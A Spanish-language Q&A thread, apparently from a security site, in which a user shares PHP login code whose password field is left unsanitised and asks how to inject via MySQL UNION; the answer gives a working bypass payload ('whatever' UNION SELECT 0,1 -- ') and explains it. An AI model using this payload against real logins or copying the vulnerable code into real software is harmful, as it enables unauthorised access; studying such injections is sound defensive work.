¿Cómo usar el operador mySQL UNION en inyección de SQL, con un parámetro de contraseña inyectable?

1

¿Puede alguien darme un ejemplo de inyección de sql con el operador UNION, que devuelve usuarios y contraseñas, con respecto al siguiente ejemplo de php? Logré inyectar 1 o 1 = 1 simple ... en el parámetro de pase, pero hasta ahora no pude inyectar usando el operador UNION.

function sanitizeStr($var)
{
global $connection;
$var = strip_tags($var);
$var = htmlentities($var);
$var = stripslashes($var);
return $connection->real_escape_string($var);
}

function sanitizeStrSQ51($var)
{
return ($var);
}

$error = $user = $pass = "";

if (isset($_POST['user']))
{
$user = sanitizeStr($_POST['user']);
$pass = sanitizeStrSQ51($_POST['pass']);

if ($user == "" || $pass == "")
$error = "Not all fields were entered<br>";

else
{
$result = queryMySQL("SELECT user,pass FROM members WHERE user='$user' AND pass='$pass'");
if ($result->num_rows == 0)
{
$error = "<span class='error'>Username/Password invalid</span><br><br>";
}

else
{
$_SESSION['user'] = $user;
$_SESSION['pass'] = $pass;
die("You are now logged in. Please <a href='members.php?view=$user'>" . "click here</a> to continue.<br><br>");
}
}
}
    
pregunta Gazel 02.02.2015 - 03:02
fuente

1 respuesta

1

La consulta toma dos parámetros, $user y $pass . Como puede ver, la variable $user se cotiza correctamente, mientras que la variable $pass se usa como está, lo que la hace vulnerable a la inyección de Sql. Desde el código es evidente que todo lo que tenemos que hacer es devolver cualquier valor de la consulta para obtener acceso:

    if ($result->num_rows == 0) {
      $error = "<span class='error'>Username/Password invalid</span><br><br>";
    } else {

Establezca el parámetro $user con el nombre de un usuario existente, digamos 'admin', porque este código lo utilizará más adelante:

      $_SESSION['user'] = $user;

Establezca el parámetro $pass en:

whatever' UNION SELECT 0,1 -- 

Así que la consulta se convierte en

SELECT user,pass FROM members WHERE user='admin' AND pass='whatever' UNION SELECT 0,1 -- '

Note el "-" al final de la consulta. Este es un comentario, que nos ayuda a deshacernos de la última cita simple. El espacio en blanco después del doble guión es obligatorio, de lo contrario MySQL no reconocerá el comentario. Alternativamente, puede usar el símbolo # . Más información aquí: Sintaxis de comentarios de MySQL

    
respondido por el tokarev 02.02.2015 - 06:51
fuente

Lea otras preguntas en las etiquetas